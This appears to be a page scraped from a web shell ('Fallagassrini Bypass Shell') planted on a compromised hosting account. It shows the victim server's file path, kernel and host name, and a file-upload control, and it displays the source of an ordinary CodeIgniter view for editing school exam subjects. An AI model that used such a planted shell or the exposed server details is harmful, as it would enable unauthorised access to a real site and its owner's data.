? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/examination/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/examination/edit_subject.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');

?>
<script>
    function delete_subject(subject_id,row_id)
    {
        if (confirm("Are you sure you want to delete this subjectt?"))
        {
            $.ajax({
                type: "POST",
                url: "<?= site_url() ?>"+'/examination/delete_subject/'+subject_id,
                success: function(msg)
                {
                    if(msg==1)
                    {
                        $('#'+row_id) .hide();
                    }
                    else
                    {
                        alert("Marks already assigned for subject in Evaluation. Cannot be deleted");
                    }
                }
            });}
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Subject Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('examination','viewinexaminationsearch','search_subject','view_subject','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('examination/addinexamination/update_subject/view_subject/1',$attributes);
                ?>
               <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Class Room Name</label>
                            <div class="controls">
                                <span class="text bold"><?= $viewinfo->class_room_name; ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                        <div class="span12">
                            <div class="">
                                
                                <div class="portlet-body">
                                    <?php
                                    $subjects= $this->mastermodel->get_data('subject', $viewinfo->class_room_id, 'class_room_id');
                                    if(!empty($subjects))
                                    {
                                        $i=0;
                                    ?>
                                    <table class="table table-striped table-hover table-bordered" id="sample_3">
                                        <tr>                      
                                            <th>Subject Code</th>
                                            <th>Subject Name</th>                           
                                            <th>Delete</th>
                                        </tr>   
                                        <?php
                                        foreach ($subjects as $value) {
                                            $i++;
                                            ?>
                                            <tr id="<?=$i?>">                        
                                                <td>
                                                    <input type="text" value="<?= $value['subject_code'] ?>" name="subject_code<?=$i?>" id="subject_code<?=$i?>" class="required medium1" />
                                                    <input type="hidden" value="<?=$value['subject_id']?>" name="subject_id<?=$i?>" id="subject_id<?=$i?>"/>
                                                </td>
                                                <td>
                                                    <input type="text" value="<?= $value['subject_name'] ?>" name="subject_name<?=$i?>" id="subject_name<?=$i?>" class="required medium1" />
                                                </td>

                                                <td>
                                                    <a href="#" onclick="delete_subject('<?=$value['subject_id']?>','<?=$i;?>')">Delete</a>
                                                </td>
                                            </tr>


                                        <?php
                                            }
                                        }

                                        ?>
                                    </table>
                                    <table class="table table-striped table-hover table-bordered" id="sample_3">
                                        <tr>                      
                                            <th>Subject Code</th>
                                            <th>Subject Name</th>                                                          
                                            <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:65px;"/></th>
                                        </tr>            
                                        <tr>                        
                                            <td>
                                                    <input type="text"  name="subject_code_new" id="subject_code_new" class="medium1" />
                                                </td>
                                                <td>
                                                    <input type="text" name="subject_name_new" id="subject_name_new" class="medium1" />
                                                </td>
                                                <td>
                                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                            </td>
                                        </tr>
                                    </table>
                                </div>
                            </div>
                        </div>
                    </div>

                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="subject"/>
                    <input type="hidden" name="class_room_id" value="<?= $viewinfo->class_room_id;?>"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i>Update</button>
                    <button type="button" onclick="viewdata('examination','viewinexaminationsearch','search_subject','view_subject','<?=$_SESSION['pagenum'];?>')" class="btn">Cancel</button>
                </div>
                        <?php
                        echo form_close();
                        ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net